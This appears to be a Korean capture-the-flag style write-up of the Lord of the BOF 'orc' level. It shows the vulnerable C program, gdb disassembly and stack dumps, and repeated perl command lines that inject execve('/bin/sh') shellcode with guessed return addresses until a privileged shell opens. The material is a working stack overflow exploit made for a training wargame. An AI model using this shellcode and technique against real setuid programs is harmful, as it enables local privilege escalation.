/* 1. 소스코드를 확인합니다. */
/* 소스코드를 복사해 복사본을 만들어주시기 바랍니다. 여기서는 orx가 그 경우입니다.*/
[goblin@localhost goblin]$ cat orc.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
/* 2. \xff가 인식되도록 bash2를 사용합니다. */
[goblin@localhost goblin]$ bash2
/* 3. 그냥 찾다가 얻은 리턴어드레스로 해봅니다.*/
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'` `perl -e 'print "\x90"x9, "\xac\xfa\xff\xbf"'`
j
X?Rh//shh/bin??S?訴??????????? //안되네여.
/* 4. gdb로 까서 주소를 얻어보았습니다. call strcpy에 브포를 걸고 `perl -e 'print"\x90"x47, "\xbf"'`이런식으로 48번째 바이트에 \xbf를 넣고 구경하다보니 나왔습니다(기억안남ㅋ;;;) */
[goblin@localhost goblin]$ ./orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x48\xfc\xff\xbf"'`
j
X?Rh//shh/bin??S?訴?????????????????????H?
Illegal instruction (core dumped)
[goblin@localhost goblin]$ gdb -q orx
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %esp,%ebp
0x8048503 <main+3>: sub $0x2c,%esp
0x8048506 <main+6>: cmpl $0x1,0x8(%ebp)
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push $0x8048640
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add $0x4,%esp
0x8048519 <main+25>: push $0x0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add $0x4,%esp
0x8048523 <main+35>: nop
0x8048524 <main+36>: movl $0x0,0xffffffd4(%ebp)
0x804852b <main+43>: nop
0x804852c <main+44>: lea 0x0(%esi,1),%esi
0x8048530 <main+48>: mov 0xffffffd4(%ebp),%eax
0x8048533 <main+51>: lea 0x0(,%eax,4),%edx
0x804853a <main+58>: mov 0x8049764,%eax
0x804853f <main+63>: cmpl $0x0,(%eax,%edx,1)
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov 0xffffffd4(%ebp),%eax
0x804854a <main+74>: lea 0x0(,%eax,4),%edx
0x8048551 <main+81>: mov 0x8049764,%eax
0x8048556 <main+86>: mov (%eax,%edx,1),%edx
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add $0x4,%esp
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push $0x0
0x8048567 <main+103>: mov 0xffffffd4(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x804856a <main+106>: lea 0x0(,%eax,4),%edx
0x8048571 <main+113>: mov 0x8049764,%eax
0x8048576 <main+118>: mov (%eax,%edx,1),%edx
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add $0xc,%esp
0x8048582 <main+130>: incl 0xffffffd4(%ebp)
0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov 0xc(%ebp),%eax
0x804858a <main+138>: add $0x4,%eax
0x804858d <main+141>: mov (%eax),%edx
0x804858f <main+143>: add $0x2f,%edx
0x8048592 <main+146>: cmpb $0xbf,(%edx)
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push $0x804864c
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add $0x4,%esp
0x80485a4 <main+164>: push $0x0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add $0x4,%esp
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov 0xc(%ebp),%eax
0x80485b3 <main+179>: add $0x4,%eax
0x80485b6 <main+182>: mov (%eax),%edx
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add $0x8,%esp
0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push $0x8048669
0x80485ce <main+206>: call 0x8048410 <printf>
---Type <return> to continue, or q <return> to quit---
0x80485d3 <main+211>: add $0x8,%esp
0x80485d6 <main+214>: lea 0xffffffd8(%ebp),%eax
0x80485d9 <main+217>: push %eax
0x80485da <main+218>: push $0x804866d
0x80485df <main+223>: call 0x8048410 <printf>
0x80485e4 <main+228>: add $0x8,%esp
0x80485e7 <main+231>: leave
0x80485e8 <main+232>: ret
0x80485e9 <main+233>: nop
0x80485ea <main+234>: nop
0x80485eb <main+235>: nop
0x80485ec <main+236>: nop
0x80485ed <main+237>: nop
0x80485ee <main+238>: nop
0x80485ef <main+239>: nop
End of assembler dump.
/* 5. strcpy 브포. */
(gdb) b *main+189
Breakpoint 1 at 0x80485bd
(gdb) r `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x65\xfc\x90\xbf"'`
Starting program: /home/goblin/orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x65\xfc\x90\xbf"'`
Breakpoint 1, 0x80485bd in main ()
(gdb) x/50wx $esp
0xbffffb6c: 0xbffffdbd 0xbffffddb 0xbffffdf3 0xbffffdfe
0xbffffb7c: 0xbffffe0f 0xbffffe20 0xbffffe28 0x00000000
0xbffffb8c: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffb9c: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffbac: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffbbc: 0x00000009 0x08048450 0x0000000b 0x000001f7
0xbffffbcc: 0x0000000c 0x000001f7 0x0000000d 0x000001f7
0xbffffbdc: 0x0000000e 0x000001f7 0x00000010 0x0febfbff
0xbffffbec: 0x0000000f 0xbffffc1e 0x00000000 0x00000000
0xbffffbfc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc0c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc1c: 0x36690000 0x2f003638 0x656d6f68 0x626f672f
0xbffffc2c: 0x2f6e696c 0x0078726f
(gdb)
0xbffffc34: 0x99580b6a 0x2f2f6852 0x2f686873 0x896e6962 //쉘코드가요기잉네
0xbffffc44: 0x895352e3 0x9080cde1 0x90909090 0x90909090 //0xbffffc34?35?
0xbffffc54: 0x90909090 0x90909090 0x90909090 0xbf90fc65
0xbffffc64: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc94: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcd4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffce4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcf4: 0x00000000 0x00000000
(gdb) quit
The program is running. Exit anyway? (y or n) y
/* 6. 복사본에 시도해봅니다.*/
[goblin@localhost goblin]$ ./orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x35\xfc\xff\xbf"'`
j
X?Rh//shh/bin??S?訴?????????????????????5?
bash$ //오옹 되넹
bash$ exit
exit
/* 7. 원본에 시도해봅니다. */
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x35\xfc\xff\xbf"'`
j
X?Rh//shh/bin??S?訴?????????????????????5?
Segmentation fault //안되네여 하핳ㅎ하핳하하핳
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x34\xfc\xff\xbf"'`
j
X?Rh//shh/bin??S?訴?????????????????????4?
Illegal instruction
/*이 시점에선 그냥 34~40까지 해보자 하고 끝값을 마구마구 대입했습니다*/
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x33\xfc\xff\xbf"'`
j
X?Rh//shh/bin??S?訴?????????????????????3?
Segmentation fault
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x36\xfc\xff\xbf"'`
j
X?Rh//shh/bin??S?訴?????????????????????6?
Illegal instruction
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x37\xfc\xff\xbf"'`
j
X?Rh//shh/bin??S?訴?????????????????????7?
bash$ my-pass //결국엔 됬어요.
euid = 504
아하하하하하하 굉장히 많은것을 배웠습니다
gdb에 대한 공포감도 줄이고, 알아낸게 많은 것 같습니다.
중간중간에 좀 안맞지만 (하도 오랫동안 삽질해서 날아간게 좀 많아요) 그래도 뼈대는 있네여. 고치면서 본건데 기억안나는것도 많고,,, 다음에 시간나면 다시 해봐야겠습니다.
이거 푸는동안 조언주신 많은 분들께 감사합니다!
기분좋네요ㅎㅎ
NOTES:
버퍼의 크기는 44
48번쨰 바이트는 \xbf여야 한다
코어는 해당 프로그램이 관리자 권한이 아닐 때 덤프가 떠지지 않는다
음 망했어
0xbffffc48
0xbffffc65
28
34
35
ㅋㅋ 정신나간 노트가 많습니다. 저 주소값들 어쩔꺼야;;
그래도 풀으니까 속시원하네여. 삽질한 성과가 있는것 같습니다ㅋㅋ
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